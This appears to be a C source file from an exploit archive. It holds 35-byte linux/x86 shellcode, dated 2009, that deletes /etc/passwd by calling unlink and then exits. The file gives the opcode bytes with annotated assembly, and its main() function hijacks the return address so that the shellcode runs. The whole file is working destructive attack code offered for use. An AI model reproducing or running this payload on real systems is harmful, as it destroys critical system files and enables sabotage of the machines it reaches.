44 lines
No EOL
1.6 KiB
C
44 lines
No EOL
1.6 KiB
C
/*
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# Title: linux/x86 unlink(/etc/passwd) & exit() 35 bytes
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# Date: 2009-12-24
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# Author: sandman, n4mdn4s [4T] gmail [D0T] com
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# Tested on: linux/Fedora 12
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# Code :
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*/
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/*
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unlink_passwd.c
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Platform: linux/x86
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Size: 35 bytes
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Author: $andman
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*/
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#include <string.h>
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#include <stdio.h>
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char shell[] = "\xeb\x11" //jmp 8048073
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"\x5e" //pop %esi
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"\x31\xc0" //xor %eax,%eax
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"\x31\xc9" //xor %ecx,%ecx
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"\x31\xd2" //xor %edx,%edx
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"\xb0\x0a" //mov $0xa,%al
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"\x89\xf3" //mov %esi,%ebx
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"\xcd\x80" //int $0x80
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"\xb0\x01" //mov $0x1,%al
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"\xcd\x80" //int $0x80
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"\xe8\xea\xff\xff\xff" //call 8048062
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"\x2f" //das
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"\x65" //gs
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"\x74\x63" //je 80480df
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"\x2f" //das
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"\x70\x61" //jo 80480e0
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"\x73\x73" //jae 80480f4
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"\x77\x64"; //ja 80480e7
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int main()
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{
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printf("Shellcode Length: %d\n",strlen(shell));
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int *ret;
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ret = (int *)&ret + 2;
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(*ret) = (int)shell;
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}
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//#$
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